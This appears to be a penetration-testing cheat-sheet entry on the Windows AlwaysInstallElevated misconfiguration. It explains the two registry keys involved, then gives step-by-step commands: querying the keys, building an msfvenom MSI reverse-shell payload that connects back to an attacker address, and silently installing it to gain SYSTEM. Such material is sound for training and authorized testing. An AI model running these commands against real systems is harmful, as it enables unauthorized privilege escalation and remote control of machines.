# AlwaysInstallElevated

### Overview

**AlwaysInstallElevated** is a **Windows Installer (MSI) misconfiguration** that allows **non-administrator users** to install MSI packages with **SYSTEM privileges**.

When enabled, **any MSI file executed by a low-privileged user runs as NT AUTHORITY\SYSTEM**, resulting in **instant local privilege escalation**.

### Why this Works

Windows Installer checks **two registry keys** to decide whether MSI packages should be installed with elevated privileges:

* One **machine-wide**
* One **user-specific**

If **both are enabled**, Windows **blindly trusts** the MSI and installs it as SYSTEM — **without prompting for admin credentials**.

### Prerequisites

1. Both of these must be set to `1`:

   ```
   HKLM\Software\Policies\Microsoft\Windows\Installer
   HKCU\Software\Policies\Microsoft\Windows\Installer
   ```
2. Local Low-Privileged Access
3. Ability to Execute MSI Files(`msiexec` must be present)

### Steps

1. Query the registry for AlwaysInstallElevated keys and check if they are equal to 1.

   ```bash
   reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
   reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
   ```
2. Create Malicious MSI Payload and transfer it to the target.

   ```bash
   msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi
   ```
3. Execute MSI as Low-Privileged User

   ```bash
   msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
   ```


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